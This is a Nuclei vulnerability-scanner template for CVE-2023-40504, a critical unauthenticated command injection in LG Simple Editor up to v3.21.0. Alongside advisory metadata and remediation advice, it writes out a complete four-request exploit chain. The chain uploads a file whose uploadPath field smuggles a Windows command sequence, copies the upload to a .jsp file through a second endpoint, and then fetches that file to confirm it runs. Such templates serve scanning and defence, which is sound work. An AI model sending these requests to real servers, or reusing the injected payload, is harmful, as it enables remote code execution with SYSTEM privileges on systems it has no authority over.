LG Simple Editor <= v3.21.0 - Command Injection

id: CVE-2023-40504
info:
  name: LG Simple Editor <= v3.21.0 - Command Injection
  author: s4e-io
  severity: critical
  description: |
    LG Simple Editor readVideoInfo Command Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of LG Simple Editor. Authentication is not required to exploit this vulnerability. The specific flaw exists within the readVideoInfo method. The issue results from the lack of proper validation of a user-supplied string before using it to execute a system call. An attacker can leverage this vulnerability to execute code in the context of SYSTEM.
  impact: |
    Unauthenticated attackers can execute arbitrary commands with SYSTEM privileges through the readVideoInfo method by injecting malicious strings in system calls, potentially compromising the entire LG Simple Editor server and connected systems.
  remediation: |
    Update LG Simple Editor to a version newer than 3.21.0 that properly validates user input and prevents command injection in the readVideoInfo method.
  reference:
    - https://www.zerodayinitiative.com/advisories/ZDI-23-1208/
    - https://packetstormsecurity.com/files/180171/LG-Simple-Editor-3.21.0-Command-Injection.html
    - https://0day.today/exploit/39719
    - https://www.usom.gov.tr/bildirim/tr-24-0417
    - https://nvd.nist.gov/vuln/detail/CVE-2023-40504
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-40504
    cwe-id: CWE-78
    epss-score: 0.87761
    epss-percentile: 0.99741
  metadata:
    max-request: 1
    verified: true
    vendor: lg
    product: simple_editor
    fofa-query: icon_hash="159985907"
  tags: cve,cve2023,lg,simple-editor,intrusive,rce,file-upload,vuln

variables:
  filename: "{{rand_base(12)}}"

flow: http(1) && http(2) && http(3) && http(4)

http:
  - raw:
      - |
        GET /simpleeditor/common/commonReleaseNotes.do HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"LG Simple Editor")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /simpleeditor/imageManager/uploadVideo.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadVideo"; filename="{{filename}}.bmp"

        /
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadPath"

        /"&cmd&cd ..&cd ..&cd ..&cd server&cd webapps&cd simpleeditor&del {{filename}}.bmp&/../"
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadFile_x"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadFile_width"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="uploadFile_height"

        1
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "errorCode","errorMessage","fail")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /simpleeditor/fileSystem/makeDetailContent.do HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        Accept: application/json

        {"command":"cp","option":"-f","srcPath":"/{{filename}}_original.bmp","destPath":"/{{filename}}.jsp"}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "errorCode","errorMessage","data","success")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /simpleeditor/{{filename}}.jsp HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a00473045022047ce227c4696ad58ea46ad60aad4393085725c980d3f0e08beaaf153bea36797022100d78c6a5b72d90b444af1e95776bdff1549f59942fd01328589239f4396d741ce:922c64590222798bb761d5b6d8e72950